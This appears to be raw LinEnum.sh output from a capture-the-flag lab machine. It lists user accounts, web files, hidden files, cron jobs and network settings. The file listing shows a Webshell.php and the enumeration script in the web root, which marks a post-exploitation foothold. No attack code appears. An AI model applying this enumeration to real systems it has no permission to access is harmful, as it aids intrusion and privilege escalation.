nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
wintermute:x:1000:1000:wintermute,,,:/home/wintermute:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
Debian-snmp:x:107:113::/var/lib/snmp:/bin/false
redis:x:108:114::/var/lib/redis:/bin/false
postgres:x:109:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
postfix:x:110:117::/var/spool/postfix:/bin/false
turing-police:x:1001:1001:Turing Police User,,,555-356-9382:/home/turing-police:/bin/bash
[-] Super user account(s):
root
./LinEnum.sh: line 267: echo: write error: Broken pipe
./LinEnum.sh: line 310: echo: write error: Broken pipe
[-] Are permissions on /home directories lax:
total 16K
drwxr-xr-x 4 root root 4.0K May 12 20:39 .
drwxr-xr-x 23 root root 4.0K May 12 13:00 ..
drwxr-xr-x 2 turing-police turing-police 4.0K May 12 20:39 turing-police
drwxr-xr-x 2 wintermute wintermute 4.0K May 12 11:08 wintermute
[-] Files not owned by user but writable by group:
-rwxrwxrwx 1 root root 0 Aug 23 19:14 /run/ntopng/ntopng.pid
[-] Files owned by our user:
-rw-r--r-- 1 www-data www-data 15731 May 12 12:48 /var/www/html/sky.jpg
-rw-r--r-- 1 www-data www-data 193 May 12 12:42 /var/www/html/xwx.html
-rw-r--r-- 1 www-data www-data 326 May 12 20:20 /var/www/html/index.html
-rw-r--r-- 1 www-data www-data 101 Aug 23 19:22 /var/www/html/turing-bolo/test
-rw-r--r-- 1 www-data www-data 404 May 12 12:08 /var/www/html/turing-bolo/riviera.log
-rwxr-xr-x 1 www-data www-data 538 May 12 12:08 /var/www/html/turing-bolo/bolo.php
-rw-r--r-- 1 www-data www-data 4929 May 12 12:08 /var/www/html/turing-bolo/css/style.css
-rw-r--r-- 1 www-data www-data 1117 May 12 12:08 /var/www/html/turing-bolo/bolo.css
-rw-r--r-- 1 www-data www-data 591 May 12 12:08 /var/www/html/turing-bolo/molly.log
-rw-r--r-- 1 www-data www-data 1024 May 12 12:08 /var/www/html/turing-bolo/.bolo.css.swp
-rw-r--r-- 1 www-data www-data 561 May 12 12:08 /var/www/html/turing-bolo/armitage.log
-rw-r--r-- 1 www-data www-data 971 May 12 12:08 /var/www/html/turing-bolo/index.html
-rw-r--r-- 1 www-data www-data 74 Aug 23 19:22 /var/www/html/turing-bolo/Webshell.php
-rw-r--r-- 1 www-data www-data 135240 May 12 12:08 /var/www/html/turing-bolo/ta.png
-rwxr-xr-x 1 www-data www-data 44413 Jul 15 15:22 /var/www/html/turing-bolo/LinEnum.sh
-rw-r--r-- 1 www-data www-data 178206 May 12 12:08 /var/www/html/turing-bolo/c7.png
-rw-r--r-- 1 www-data www-data 779 May 12 12:08 /var/www/html/turing-bolo/case.log
-rw-r--r-- 1 www-data www-data 1670 Jul 3 20:33 /var/www/html/js3.js
-rw-r--r-- 1 www-data www-data 357 May 12 12:33 /var/www/html/xwx.css
-rw-r--r-- 1 www-data www-data 170 Jul 1 18:49 /var/www/html/freeside/index.html
-rw-r--r-- 1 www-data www-data 699156 Jul 1 09:35 /var/www/html/freeside/freeside.jpg
-rw-r--r-- 1 www-data www-data 8667 May 12 12:48 /var/www/html/gl.css
[-] Hidden files:
-rw-r--r-- 1 wintermute wintermute 304 Jun 27 2016 /opt/ntopng-2.4-stable/nDPI/.travis.yml
-rw-r--r-- 1 wintermute wintermute 413 Jun 27 2016 /opt/ntopng-2.4-stable/nDPI/.gitignore
-rw-r--r-- 1 root root 0 May 12 11:28 /opt/ntopng-2.4-stable/nDPI/src/lib/third_party/src/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:28 /opt/ntopng-2.4-stable/nDPI/src/lib/third_party/src/.deps/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:27 /opt/ntopng-2.4-stable/nDPI/src/lib/protocols/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:27 /opt/ntopng-2.4-stable/nDPI/src/lib/protocols/.deps/.dirstamp
-rw-r--r-- 1 wintermute wintermute 130 Jun 27 2016 /opt/ntopng-2.4-stable/.gitattributes
-rw-r--r-- 1 wintermute wintermute 546 Jun 27 2016 /opt/ntopng-2.4-stable/.travis.yml
-rw-r--r-- 1 wintermute wintermute 1896 Jun 27 2016 /opt/ntopng-2.4-stable/.gitignore
-rw-r--r-- 1 root root 0 May 12 11:49 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/perf/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:49 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/perf/.deps/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:47 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/src/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:47 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/src/.deps/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:49 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/tools/.dirstamp
-rw-r--r-- 1 root root 0 May 12 11:49 /opt/ntopng-2.4-stable/third-party/zeromq-4.1.3/tools/.deps/.dirstamp
-rw-r--r-- 1 wintermute wintermute 644 Jun 27 2016 /opt/ntopng-2.4-stable/third-party/json-c/.gitignore
-rw-r--r-- 1 turing-police turing-police 3526 May 12 20:39 /home/turing-police/.bashrc
-rw-r--r-- 1 turing-police turing-police 675 May 12 20:39 /home/turing-police/.profile
-rw-r--r-- 1 turing-police turing-police 220 May 12 20:39 /home/turing-police/.bash_logout
-rw-r--r-- 1 wintermute wintermute 3526 May 12 11:08 /home/wintermute/.bashrc
-rw-r--r-- 1 wintermute wintermute 675 May 12 11:08 /home/wintermute/.profile
-rw-r--r-- 1 wintermute wintermute 220 May 12 11:08 /home/wintermute/.bash_logout
-rw-r--r-- 1 root root 0 Aug 23 19:14 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 12288 May 12 11:18 /etc/network/.interfaces.swp
-rw-r--r-- 1 root root 102 Oct 7 2017 /etc/cron.daily/.placeholder
-rw-r--r-- 1 root root 3526 May 15 2017 /etc/skel/.bashrc
-rw-r--r-- 1 root root 675 May 15 2017 /etc/skel/.profile
-rw-r--r-- 1 root root 220 May 15 2017 /etc/skel/.bash_logout
-rw-r--r-- 1 root root 102 Oct 7 2017 /etc/cron.hourly/.placeholder
-rw-r--r-- 1 root root 102 Oct 7 2017 /etc/cron.monthly/.placeholder
-rw-r--r-- 1 root root 0 Apr 5 2017 /etc/sensors.d/.placeholder
-rw-r--r-- 1 root root 102 Oct 7 2017 /etc/cron.weekly/.placeholder
-rw------- 1 root root 0 May 12 11:04 /etc/.pwd.lock
-rw-r--r-- 1 root root 102 Oct 7 2017 /etc/cron.d/.placeholder
-rw-r--r-- 1 www-data www-data 1024 May 12 12:08 /var/www/html/turing-bolo/.bolo.css.swp
[-] World-readable files within /home:
-rw-r--r-- 1 turing-police turing-police 3526 May 12 20:39 /home/turing-police/.bashrc
-rw-r--r-- 1 turing-police turing-police 675 May 12 20:39 /home/turing-police/.profile
-rw-r--r-- 1 turing-police turing-police 220 May 12 20:39 /home/turing-police/.bash_logout
-rw-r--r-- 1 wintermute wintermute 3526 May 12 11:08 /home/wintermute/.bashrc
-rw-r--r-- 1 wintermute wintermute 675 May 12 11:08 /home/wintermute/.profile
-rw-r--r-- 1 wintermute wintermute 220 May 12 11:08 /home/wintermute/.bash_logout
[-] Home directory contents:
total 12K
drwxr-xr-x 3 root root 4.0K May 12 11:07 .
drwxr-xr-x 13 root root 4.0K May 12 11:14 ..
drwxr-xr-x 4 root root 4.0K Jul 3 20:33 html
### ENVIRONMENTAL #######################################
[-] Environment information:
APACHE_LOG_DIR=/var/log/apache2
LANG=C
OLDPWD=/var/www/html
INVOCATION_ID=5fc82fde169f48aba50f0dbcfd1afddf
APACHE_LOCK_DIR=/var/lock/apache2
PWD=/var/www/html/turing-bolo
JOURNAL_STREAM=8:11868
APACHE_RUN_GROUP=www-data
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_USER=www-data
APACHE_PID_FILE=/var/run/apache2/apache2.pid
SHLVL=3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
[-] Path information:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[-] Available shells:
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
[-] Current umask value:
0022
u=rwx,g=rx,o=rx
[-] umask value as specified in /etc/login.defs:
UMASK 022
[-] Password and storage information:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
ENCRYPT_METHOD SHA512
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-r--r-- 1 root root 722 Oct 7 2017 /etc/crontab
/etc/cron.d:
total 20
drwxr-xr-x 2 root root 4096 May 12 12:09 .
drwxr-xr-x 90 root root 4096 Aug 23 19:14 ..
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
-rw-r--r-- 1 root root 712 Jan 1 2017 php
-rw-r--r-- 1 root root 396 May 25 2017 sysstat
/etc/cron.daily:
total 48
drwxr-xr-x 2 root root 4096 May 12 13:23 .
drwxr-xr-x 90 root root 4096 Aug 23 19:14 ..
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
-rwxr-xr-x 1 root root 539 Mar 30 08:07 apache2
-rwxr-xr-x 1 root root 1474 Sep 13 2017 apt-compat
-rwxr-xr-x 1 root root 355 Oct 25 2016 bsdmainutils
-rwxr-xr-x 1 root root 1597 Feb 22 2017 dpkg
-rwxr-xr-x 1 root root 89 May 5 2015 logrotate
-rwxr-xr-x 1 root root 1065 Dec 13 2016 man-db
-rwxr-xr-x 1 root root 538 Nov 13 2016 mlocate
-rwxr-xr-x 1 root root 249 May 17 2017 passwd
-rwxr-xr-x 1 root root 441 May 25 2017 sysstat
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 May 12 11:04 .
drwxr-xr-x 90 root root 4096 Aug 23 19:14 ..
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 May 12 11:04 .
drwxr-xr-x 90 root root 4096 Aug 23 19:14 ..
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
/etc/cron.weekly:
total 16
drwxr-xr-x 2 root root 4096 May 12 11:07 .
drwxr-xr-x 90 root root 4096 Aug 23 19:14 ..
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
-rwxr-xr-x 1 root root 723 Dec 13 2016 man-db
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
### NETWORKING ##########################################
[-] Network and IP info:
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.16 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::a00:27ff:fe50:96d9 prefixlen 64 scopeid 0x20<link>
inet6 2a01:e35:1394:b540:a00:27ff:fe50:96d9 prefixlen 64 scopeid 0x0<global>
ether 08:00:27:50:96:d9 txqueuelen 1000 (Ethernet)
RX packets 597 bytes 108041 (105.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 485 bytes 254114 (248.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.128.3 netmask 255.255.255.0 broadcast 172.28.128.255
inet6 fe80::a00:27ff:fea9:7af0 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:a9:7a:f0 txqueuelen 1000 (Ethernet)
RX packets 8 bytes 2895 (2.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 2556 (2.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 16116 bytes 1679359 (1.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16116 bytes 1679359 (1.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[-] ARP history:
? (192.168.1.8) at 08:00:27:ca:e8:b7 [ether] on enp0s3
? (192.168.1.254) at 68:a3:78:8b:0c:dd [ether] on enp0s3
? (172.28.128.2) at 08:00:27:a7:2d:7c [ether] on enp0s8
[-] Nameserver(s):
nameserver 192.168.1.254
[-] Nameserver(s):
Global
DNS Servers: 192.168.1.254
DNSSEC NTA: 10.in-addr.arpa
16.172.in-addr.arpa
168.192.in-addr.arpa
17.172.in-addr.arpa
18.172.in-addr.arpa
19.172.in-addr.arpa
20.172.in-addr.arpa
21.172.in-addr.arpa
22.172.in-addr.arpa
23.172.in-addr.arpa
24.172.in-addr.arpa
25.172.in-addr.arpa
26.172.in-addr.arpa
27.172.in-addr.arpa
28.172.in-addr.arpa
29.172.in-addr.arpa
30.172.in-addr.arpa
31.172.in-addr.arpa
corp
d.f.ip6.arpa
home
internal
intranet
lan
local
private
test
Link 3 (enp0s8)
Current Scopes: LLMNR/IPv4 LLMNR/IPv6
LLMNR setting: yes
MulticastDNS setting: no